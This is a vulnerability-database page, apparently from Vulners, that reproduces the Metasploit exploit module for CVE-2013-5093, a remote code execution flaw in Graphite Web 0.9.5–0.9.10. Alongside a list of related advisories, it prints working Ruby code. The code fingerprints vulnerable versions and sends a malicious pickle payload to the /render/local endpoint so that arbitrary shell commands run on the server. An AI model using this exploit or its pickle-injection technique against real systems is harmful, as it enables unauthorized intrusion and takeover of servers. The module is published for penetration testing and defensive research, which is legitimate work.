Lucene search
K

Graphite Web Unsafe Pickle Handling

🗓️ 20 Aug 2013 16:56:30Reported by Charlie Eriksen, funkypickleType 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

Graphite Web Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Graphite Web Unsafe Pickle Handling Exploit
21 Aug 201300:00
zdt
Circl
CVE-2013-5093
21 Aug 201300:00
circl
Check Point Advisories
Graphite Web Unsafe Module Handling Code Execution (CVE-2013-5093)
27 Oct 201300:00
checkpoint_advisories
CVE
CVE-2013-5093
27 Sep 201310:00
cve
Cvelist
CVE-2013-5093
27 Sep 201310:00
cvelist
Debian CVE
CVE-2013-5093
27 Sep 201310:00
debiancve
FreeBSD
py-graphite-web -- Multiple vulnerabilities
21 Aug 201300:00
freebsd
Exploit DB
Graphite Web - Unsafe Pickle Handling (Metasploit)
21 Aug 201300:00
exploitdb
Fedora
[SECURITY] Fedora 19 Update: graphite-web-0.9.12-1.fc19
18 Sep 201313:00
fedora
Fedora
[SECURITY] Fedora 18 Update: graphite-web-0.9.12-1.fc18
18 Sep 201313:01
fedora
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' 			=> 'Graphite Web Unsafe Pickle Handling',
      'Description' 	=> %q{
        This module exploits a remote code execution vulnerability in the pickle
        handling of the rendering code in the Graphite Web project between version
        0.9.5 and 0.9.10 (both included).
      },
      'Author' 		=>
        [
          'Charlie Eriksen', # Initial discovery and exploit
          'funkypickle' # Version check to prove vulnerable
        ],
      'License' 		=> MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2013-5093'],
          [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
        ],
      'Platform' 		 => 'unix',
      'Arch' 			 => ARCH_CMD,
      'Privileged' 	 => false,
      'Targets'		 => [ ['Automatic', {} ] ],
      'DisclosureDate' => '2013-08-20',
      'DefaultTarget'  => 0,
      'Payload'		 =>
        {
          'DisableNops' => true,
          'Space'		  => 16384,
          'Compat'	  =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'python generic telnet netcat perl ruby'
            }
        }))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
      ])

  end

  def check
    res1 = send_request_cgi({
      # trailing slash required
      'uri'      => normalize_uri(target_uri.path, 'version/'),
      'method' => 'GET'
    })

    res2 = send_request_cgi({
      'uri' 	 => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST'
    })

    if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."

    print_status("Sending exploit payload...")

    response = send_request_cgi({
      'uri' 	 => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST',
      'data' 	 => data
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.8High risk
Vulners AI Score7.8
CVSS 26.8
EPSS0.38668
26